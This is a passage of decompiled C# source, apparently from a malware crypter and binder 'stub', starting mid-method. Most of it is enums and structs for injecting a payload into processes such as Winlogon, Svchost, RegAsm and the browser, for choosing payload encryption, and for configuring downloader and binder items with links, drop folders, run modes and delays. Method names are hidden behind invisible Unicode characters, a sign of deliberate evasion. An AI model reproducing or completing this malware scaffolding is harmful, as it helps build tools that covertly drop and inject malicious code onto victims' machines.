{ num3 += 4; num4 = 2147483648u; } array[i] = source[num3]; i++; num3++; num4 >>= 1; } return array; } // Token: 0x06000162 RID: 354 RVA: 0x000080B4 File Offset: 0x000062B4 static ArgumentException \u200C\u200E\u202C\u202B\u200C\u202B\u206E\u206D\u202C\u200E\u202A\u202B\u200E\u206F\u202B\u206E\u202A\u202B\u202D\u200B\u202B\u200D\u202B\u206A\u202E\u202D\u200F\u200B\u206C\u200B\u200F\u202E\u202A\u200E\u206A\u206C\u200B\u200F\u206F\u200C\u202E(string A_0) { return new ArgumentException(A_0); } // Token: 0x06000163 RID: 355 RVA: 0x000080C8 File Offset: 0x000062C8 static void \u206D\u206A\u206C\u202C\u200D\u206B\u206F\u202C\u206A\u200D\u206D\u200C\u206C\u206D\u202D\u202B\u206E\u206A\u206F\u202C\u200B\u200F\u202E\u200F\u206F\u200F\u206F\u202D\u202E\u206E\u206E\u202B\u206D\u202B\u206B\u206F\u202D\u200C\u202C\u206D\u202E(Array A_0, int A_1, Array A_2, int A_3, int A_4) { Array.Copy(A_0, A_1, A_2, A_3, A_4); } // Token: 0x04000086 RID: 134 public const int QLZ_VERSION_MAJOR = 1; // Token: 0x04000087 RID: 135 public const int QLZ_VERSION_MINOR = 5; // Token: 0x04000088 RID: 136 public const int QLZ_VERSION_REVISION = 0; // Token: 0x04000089 RID: 137 public const int QLZ_STREAMING_BUFFER = 0; // Token: 0x0400008A RID: 138 public const int QLZ_MEMORY_SAFE = 0; // Token: 0x0400008B RID: 139 private const int HASH_VALUES = 4096; // Token: 0x0400008C RID: 140 private const int MINOFFSET = 2; // Token: 0x0400008D RID: 141 private const int UNCONDITIONAL_MATCHLEN = 6; // Token: 0x0400008E RID: 142 private const int UNCOMPRESSED_END = 4; // Token: 0x0400008F RID: 143 private const int CWORD_LEN = 4; // Token: 0x04000090 RID: 144 private const int DEFAULT_HEADERLEN = 9; // Token: 0x04000091 RID: 145 private const int QLZ_POINTERS_1 = 1; // Token: 0x04000092 RID: 146 private const int QLZ_POINTERS_3 = 16; } // Token: 0x02000028 RID: 40 public enum InjectionType { // Token: 0x04000094 RID: 148 Itself, // Token: 0x04000095 RID: 149 Vbc, // Token: 0x04000096 RID: 150 Winlogon, // Token: 0x04000097 RID: 151 RegAsm, // Token: 0x04000098 RID: 152 Svchost, // Token: 0x04000099 RID: 153 Browser, // Token: 0x0400009A RID: 154 Reflection } // Token: 0x02000029 RID: 41 public enum AlgorithmType { // Token: 0x0400009C RID: 156 AES, // Token: 0x0400009D RID: 157 DES, // Token: 0x0400009E RID: 158 TripleDES, // Token: 0x0400009F RID: 159 RC2, // Token: 0x040000A0 RID: 160 Rijndael } // Token: 0x0200002A RID: 42 public enum CMDArgType { // Token: 0x040000A2 RID: 162 Dynamic, // Token: 0x040000A3 RID: 163 Fixed, // Token: 0x040000A4 RID: 164 None } // Token: 0x0200002B RID: 43 public enum FileInfoType { // Token: 0x040000A6 RID: 166 Default, // Token: 0x040000A7 RID: 167 Custom, // Token: 0x040000A8 RID: 168 Cloned, // Token: 0x040000A9 RID: 169 Delete } // Token: 0x0200002C RID: 44 public enum RunMode { // Token: 0x040000AB RID: 171 Always, // Token: 0x040000AC RID: 172 Once, // Token: 0x040000AD RID: 173 Never } // Token: 0x0200002D RID: 45 public struct DownloaderMenuItem { // Token: 0x040000AE RID: 174 public string link; // Token: 0x040000AF RID: 175 public Environment.SpecialFolder location; // Token: 0x040000B0 RID: 176 public stub.RunMode runmode; // Token: 0x040000B1 RID: 177 public int delay; } // Token: 0x0200002E RID: 46 private struct BinderStubItem { // Token: 0x040000B2 RID: 178 public byte[] data; // Token: 0x040000B3 RID: 179 public string filename; // Token: 0x040000B4 RID: 180 public Environment.SpecialFolder location; // Token: 0x040000B5 RID: 181 public int delay; // Token: 0x040000B6 RID: 182 public stub.RunMode runmode; } } }